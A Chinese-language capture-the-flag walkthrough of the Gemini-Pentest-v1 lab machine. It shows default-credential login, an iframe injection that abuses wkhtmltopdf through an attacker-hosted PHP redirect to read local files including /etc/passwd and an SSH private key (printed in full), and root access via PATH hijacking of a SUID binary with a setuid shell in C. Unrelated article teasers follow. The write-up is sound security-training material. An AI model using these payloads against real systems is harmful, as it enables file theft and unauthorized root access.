18、Gemini-Pentest-v1

难度 中 (个人认为是高)

目标 root权限 一个flag

靶机启动环境为VMware

kali 192.168.152.56 靶机 192.168.152.64

信息收集

突破点大概就是web端了

web测试

访问主页直接就是目录遍历

不过进去后是一个正常的网页

简单的试了几个弱口令无果继续信息收集

在主页介绍了一下这个网站的作用是一个旨在让员工查看他们的个人资料详细信息,并允许他们将详细信息导出为PDF的系统

通过目录扫描扫描出了一些php文件但是大部分都打开没有内容估计是没有登录没有权限,但是有一个export.php的网页访问有显示

看着好像是管理员的一些信息

应该是有个名为 Gemini 的管理员账号,难道是爆破密码吗

后面我抓包研究这个PDF发现了一个参数?filename=还以为是文件包含,测了半天发现也不存在,实在没啥思路了只能去看一看wp

搞半天直接去github找源码里面有默认的账号密码。。。

这样太没意思了吧。。。

就这个网站

在install的时候应该是默认有个账号

看着是弱口令,也许一开始选择爆破或许也会出来,只不过这个网站有做了token验证需要写脚本也有点麻烦

进来后可以看到正是管理员的账号

突破边界

这里突破使用的方法我也是第一次遇到,当时信息收集的时候也没想过这个wkhtmltopdf会不会有什么漏洞

在actions中的编辑profile中会跳转到之前的exports.php

可以查看到当pdf的一些信息,可以看到使用的就是wkhtmltopdf

这个工具就是将html转换为PDF,此命令行工具存在一个SSRF搭配文件包含的漏洞可以实现任意文件的读取

在前期的测试中队每个输入点进行一遍测试可以发现这个display name的位置存在xss也就是可以影响到前段的html

为了验证是否存在相关漏洞可以先在此位置尝试能否加载远程的资源

<iframe src="http://ww.baidu.com"></iframe>  看能否加载百度

可以看到确实可以加载外部资源

既然可以远程文件包含那么可以尝试本地文件包含,但是此漏洞需要配合一下ssrf,需要再攻击机上写个用来重定向的代码让靶机去解析。

所以先在攻击机上面开始apache服务以及有php语言的环境然后在/var/www/html下面创建一个ssrf.php(当然能这样实现还是因为这个wkhtmltopdf存在这种解析漏洞)

写入

<?php header('location:file://'.$_REQUEST['url']); ?>

这个参数就可以用来指定具体的文件来读取

然后开启apache

service apache2 start

然后回到页面进行编辑之前的注入点

<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd"></iframe>

因为只有在html转为PDF才会触发漏洞所以只能在export页面查看

可以看到成功的实现了文件的读取,就是框框有点小,而且还不能滑动。

重新修改一下iframe的属性把框框变大些

<iframe src="http://192.168.152.56/ssrf.php?url=/etc/passwd" width=800 height=4000></iframe>

现在就可以很舒服的读取文件了

通过查看这个passwd发现只有root和gemini1两个用户能登录,可以对gemini1进行ssh的爆破,也可以继续对靶机读取一些敏感文件

在github上面查看源码的时候其实在setting.php中出现了需要填写的数据库的账号密码的地方,是否可以尝试读取这些文件获取这些来作为ssh的登录密码呢

但是需要猜测一下绝对路径

/var/www/html/test2/inc/settings.php

<iframe src="http://192.168.152.56/ssrf.php?url=/var/www/html/test2/inc/settings.php" width=800 height=4000></iframe>

 

确实有密码等信息不过拿去用来登录可惜了都失败了。。。

那么前面得知了gemini1用户以及他的home目录是否他开启了私钥登录可以尝试去读取一下他的私钥或公钥呢

/home/gemini1/.ssh/id_rsa

<iframe src="http://192.168.152.56/ssrf.php?url=/home/gemini1/.ssh/id_rsa" width=800 height=4000></iframe>

也是成功的读取到了rsa了

-----BEGIN RSA PRIVATE KEY----- MIIEpQIBAAKCAQEAv8sYkCmUFupwQ8pXsm0XCAyxcR6m5y9GfRWmQmrvb9qJP3xs 6c11dX9Mi8OLBpKuB+Y08aTgWbEtUAkVEpRU+mk+wpSx54OTBMFX35x4snzz+X5u Vl1rUn9Z4QE5SJpOvfV3Ddw9zlVA0MCJGi/RW4ODRYmPHesqNHaMGKqTnRmn3/4V u7cl+KpPZmQJzASoffyBn1bxQomqTkb5AGhkAggsOPS0xv6P2g/mcmMUIRWaTH4Z DqrpqxFtJbuWSszPhuw3LLqAYry0RlEH/Mdi2RxM3VZvqDRlsV0DO74qyBhBsq+p oSbdwoXao8n7oO2ASHc05d2vtmmmGP31+4pjuQIDAQABAoIBAQCq+WuJQHeSwiWY WS46kkNg2qfoNrIFD8Dfy0ful5OhfAiz/sC84HrgZr4fLg+mqWXZBuCVtiyF6IuD eMU/Tdo/bUkUfyflQgbyy0UBw2RZgUihVpMYDKma3oqKKeQeE+k0MDmUsoyqfpeM QMc3//67fQ6uE8Xwnu593FxhtNZoyaYgz8LTpYRsaoui9j7mrQ4Q19VOQ16u4XlZ rVtRFjQqBmAKeASTaYpWKnsgoFudp6xyxWzS4uk6BlAom0teBwkcnzx9fNd2vCYR MhK5KLTDvWUf3d+eUcoUy1h+yjPvdDmlC27vcvZ0GXVvyRks+sjbNMYWl+QvNIZn 1XxD1nkxAoGBAODe4NKq0r2Biq0V/97xx76oz5zX4drh1aE6X+osRqk4+4soLauI xHaApYWYKlk4OBPMzWQC0a8mQOaL1LalYSEL8wKkkaAvfM604f3fo01rMKn9vNRC 1fAms6caNqJDPIMvOyYRe4PALNf6Yw0Hty0KowC46HHkmWEgw/pEhOZdAoGBANpY AJEhiG27iqxdHdyHC2rVnA9o2t5yZ7qqBExF7zyUJkIbgiLLyliE5JYhdZjd+abl aSdSvTKOqrxscnPmWVIxDyLDxemH7iZsEbhLkIsSKgMjCDhPBROivyQGfY17EHPu 968rdQsmJK8+X5aWxq08VzlKwArm+GeDs2hrCGUNAoGAc1G5SDA0XNz3CiaTDnk9 r0gRGGUZvU89aC5wi73jCttfHJEhQquj3QXCXM2ZQiHzmCvaVOShNcpPVCv3jSco tXLUT9GnoNdZkQPwNWqf648B6NtoIA6aekrOrO5jgDks6jWphq9GgV1nYedVLpR7 WszupOsuwWGzSr0r48eJxD0CgYEAo23HTtpIocoEbCtulIhIVXj5zNbxLBt55NAp U2XtQeyqDkVEzQK4vDUMXAtDWF6d5PxGDvbxQoxi45JQwMukA89QwvbChqAF86Bk SwvUbyPzalGob21GIYJpi2+IPoPktsIhhm4Ct4ufXcRUDAVjRHur1ehLgl2LhP+h JAEpUWkCgYEAj2kz6b+FeK+xK+FUuDbd88vjU6FB8+FL7mQFQ2Ae9IWNyuTQSpGh vXAtW/c+eaiO4gHRz60wW+FvItFa7kZAmylCAugK1m8/Ff5VZ0rHDP2YsUHT4+Bt j8XYDMgMA8VYk6alU2rEEzqZlru7BZiwUnz7QLzauGwg8ohv1H2NP9k= -----END RSA PRIVATE KEY----- 

当然能不能登录还是等看看靶机上有没有公钥,于是还在读取一下.ssh/authorized_keys中有没有对应的公钥

存在公钥说明是允许某个私钥进行登录的,而且就属于gemini1

那么就可以拿着私钥去登录了

一开始还爆了个错误发现是权限问题,修改为600就可以了

提权

本次提权也是非常的有难度有细节。

首先进行常见的几种提权手法,看看内核版本,试一试sudo发现都要密码,看看是否有suid提权

并没有看到我熟知的几种可以直接用来提权的命令,然后可以一个一个去尝试但是大部分命令都要密码

直到尝试了这个listinfo

这个命令比较奇怪,打印了网卡的信息,以及两个端口的监听情况和date信息,在网上搜索了一下也没有这个命令很有可能是自己添加的

查看信息发现是一个elf的可执行文件

使用strings查看elf中出现可打印的字符串信息

发现他应该是将这个几个命令的结果整合到了一起然后打印输出

如果说我们替换了其中的一些命令那么listinfo在执行的时候是不是就会执行替换后的命令,但是这里前三个命令都指定了具体的路径并且这些文件都是当前用户没有权限进行修改的,只有最后一个date没有指定具体的路径给我们留下了可趁之机

用一段c代码保存为date.c

作用是以root的权限开启一个bin/bash

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(){
    setuid(0);
    setgid(0);
    system("/bin/bash");

}

然后使用gcc编译

gcc date.c -o date

因为没有date指定具体的路径

在实际中date是根据环境变量中的路径去找的,从左往右找,这里他的实际路径在/bin下面

我们也无法对直接将date放到前面几个变量中,不过可以直接导入新的环境变量

export PATH=/home/gemini1/:$PATH

这下他找date命令就会先到gemini1下面找了

一切准备就绪后就可以再次运行listinfo命令了

成功提权至root并且拿到flag

后记

        也是很有难度的一次提权,对于一个命令的猜测和探索,从而发现这样的提权的方式,并且后续的利用date进行提升权限直接用的c代码编译为可执行成功也很有意思,要是独立完成可能还真拿不下,不过又学到了新的姿势。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/874192.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

第七届“泰迪杯”数据分析技能赛 赛前指导安排

竞赛时间安排 报名起始时间&#xff1a; 2024年9月3日-11月7日 赛前指导时间&#xff1a; 2024年9月10日-11月7日 A 题竞赛时间&#xff1a; 2024年11月9日 8:00-20:00 &#xff08;* 8:00:00开放赛题及数据&#xff09; B 题竞赛时间&#xff1a; 2024年11月10日…

【免费分享】25秋招提前批25秋招信息表

秋招&#xff0c;即秋季校园招聘&#xff0c;通常是指每年秋季&#xff08;大约从9月到11月&#xff09;企业在各大高校举办的招聘活动。这是许多公司为了吸引优秀应届毕业生而进行的招聘活动&#xff0c;也是许多学生毕业后进入职场的重要途径。以下是秋招的一些关键点&#x…

将esp32-s3-eye做为USB网络摄像头(UVC设备)

官方网址&#xff1a;usb_webcam 支持UVC同步、批量传输模型只支持MJPEG传输格式支持板上LCD动画esp32-s3-eye&#xff08;IDF v5.0或更高版本&#xff09; 硬件要求 官方默认的USB WebCam config就是乐鑫带摄像头OV2604的esp32-s3-eye&#xff0c;其他的开发板可以参考官方网…

多环境jdk安装,CentOS,统信UOS,Ubuntu,KylinOS,windows

文章目录 1.CentOS1.1yum安装1.2压缩包安装 本文档只是为了留档方便以后工作运维&#xff0c;或者给同事分享文档内容比较简陋命令也不是特别全&#xff0c;不适合小白观看&#xff0c;如有不懂可以私信&#xff0c;上班期间都是在得 1.CentOS 1.1yum安装 yum install -y jav…

Linux 安装神州通用数据库 ShenTong7.0.8_342.92_linux64

Linux 安装神州通用数据库 ShenTong7.0.8_342.92_linux64 1、准备工作2、安装数据库3、启停数据库4、后续步骤 &#x1f496;The Begin&#x1f496;点点关注&#xff0c;收藏不迷路&#x1f496; 在Linux环境下安装神州通用数据库&#xff08;ShenTong&#xff09;是一个相对直…

家庭用超声波清洗机哪个品牌好用?好用的眼镜清洗机推荐

在我们的日常生活中&#xff0c;像眼镜、项链和耳环这些频繁使用的个人物品&#xff0c;经常面临灰尘积聚和细缝中难以触及的污渍问题。超声波清洗机凭借其深入微细缝隙的清洁能力&#xff0c;成为了解决这一难题的理想工具&#xff0c;确保了这些珍贵小物的彻底清新。不过现在…

云手机能否全面替代传统手机?深入探讨云手机的优缺点

随着云计算技术的飞速发展&#xff0c;云手机作为一种新型的手机形态&#xff0c;已经逐渐进入人们的视野。越来越多的人开始使用云手机来运行各类应用&#xff0c;尤其是在群控、海外业务等场景中&#xff0c;云手机展现出明显的便利性和优势。那么&#xff0c;云手机究竟有什…

【困难】 猿人学web第一届 第18题 jsvmp 洞察先机

文章目录 数据接口分析还原加密参数插桩调试分析日志插桩补充 python 代码 数据接口分析 数据接口 https://match.yuanrenxue.cn/match/18data 请求参数 {page: 页码, t: 时间戳, v: 加密值} 请求第一页不需要携带 t, v 参数 cookie 只需要携带 sessionid 只要 还原加密字段…

《PneumoLLM:利用大型语言模型的力量进行尘肺病诊断》|文献速递--基于深度学习的医学影像病灶分割

Title 题目 PneumoLLM: Harnessing the power of large language model for pneumoconiosis diagnosis 《PneumoLLM&#xff1a;利用大型语言模型的力量进行尘肺病诊断》 01 文献速递介绍 在计算机辅助诊断领域&#xff0c;对医学数据的处理和分析能力至关重要。这不仅有助…

在Application中全局获取context

首先自定义一个application&#xff0c;继承Application&#xff0c;并在AndroidManifest.xml文件中配置它。 class TvApplication : Application() {companion object {Volatilevar context: Application? nullprivate setfun getContext(): Context {return context ?: t…

【机器学习】从零开始理解深度学习——揭开神经网络的神秘面纱

1. 引言 随着技术的飞速发展,人工智能(AI)已从学术研究的实验室走向现实应用的舞台,成为推动现代社会变革的核心动力之一。而在这一进程中,深度学习(Deep Learning)因其在大规模数据处理和复杂问题求解中的卓越表现,迅速崛起为人工智能的最前沿技术。深度学习的核心是…

2024年最佳本地营销策略的14个专家意见

本地营销对任何企业都很重要——无论您是市中心的夫妻店&#xff0c;还是大型全国连锁店。您都希望被寻找您产品或服务的人看到并找到&#xff0c;而他们通常是在本地搜索这些内容。事实上&#xff0c;几乎一半的Google搜索都有本地意图。 那么&#xff0c;今年哪些是最好的本…

金智维K-RPA基本介绍

一、K-RPA基本组成 K-RPA软件机器人管理系统基于“RPAX”数字化技术打造&#xff0c;其核心系统由管理中心(Server)、设计器(Control)、机器人(Robot/Agent)三大子系统组成&#xff0c;各子系统协同工作&#xff0c;易于构建协同式环境。 管理中心&#xff08;Server&#xff…

echarts 5.3.2 折线图 tooltip设置trigger为axis无效

在使用echarts5.3.2过程中&#xff0c;发生一个不应该发生的bug&#xff0c;希望效果如下 现实中如下 代码中设置了tooltip: {trigger: ‘axis’}不生效啊。查阅文档&#xff0c;应该是这样设置的啊&#xff0c;可是为什么无效呢。改成tooltip: {trigger: ‘item’}虽能显示弹…

09-03 周二 ansible部署与使用指南

09-03 周二 ansible部署与使用指南 时间版本修改人描述2024年9月3日10:08:58V0.1宋全恒新建文档&#xff0c;2024年9月4日13:57:25v0.2宋全恒调整结构&#xff0c;添加ansible-playbook和ansible-inventory 简介 首先要找一个跳板机&#xff0c;来确保所有的机器都可以访问。然…

C#自定义控件的放置与拖动

1、自定义控件 using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Drawing.Drawing2D; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms;namespace PartA…

动态内存管理【存稿】

动态内存管理 1.为什么有动态内存分配&#xff1f; 我们所知道的内存开辟 int a 3; //在栈空间上开辟4个字节 char b a; //在栈空间上开辟1个字节 int arr[30] {0};//在栈空间上开辟120个字节的连续空间这种内存开辟的特点&#xff1a; 空间开辟的大小是固定的 数组在申…

简单的springboot log4j2日志配置

简单的springboot log4j2日志配置 1.简介 Log4j2 是 Apache Software Foundation 开发的一个日志记录工具&#xff0c;它是 Log4j 的后续版本&#xff0c;并且在多个方面进行了改进。以下是 Log4j2 的一些关键特性&#xff1a; 性能提升&#xff1a;Log4j2 在设计上做了很多优…

航空维修培训中的虚拟现实辅助工程技术应用

飞机维护对航空旅行安全起着至关重要的作用&#xff0c;据美国劳工统计局的一份报告显示&#xff0c;航空业每年需要招聘12,000名的飞机机械师才能满足行业需求。但由于传统实践培训的限制和航空技术的飞速发展&#xff0c;该行业正面临着专业技术人员短缺的问题。虚拟现实辅助…

智能新纪元:GPT-Next引领的AI革命及其跨领域应用

GPT-Next&#xff1a;性能的百倍提升 在当今这个科技日新月异的时代&#xff0c;人工智能&#xff08;AI&#xff09;无疑是最具活力和变革性的领域之一。最近&#xff0c;OpenAI在KDDI峰会上宣布了一项激动人心的消息&#xff1a;他们即将推出名为“GPT-Next”的新一代语言模…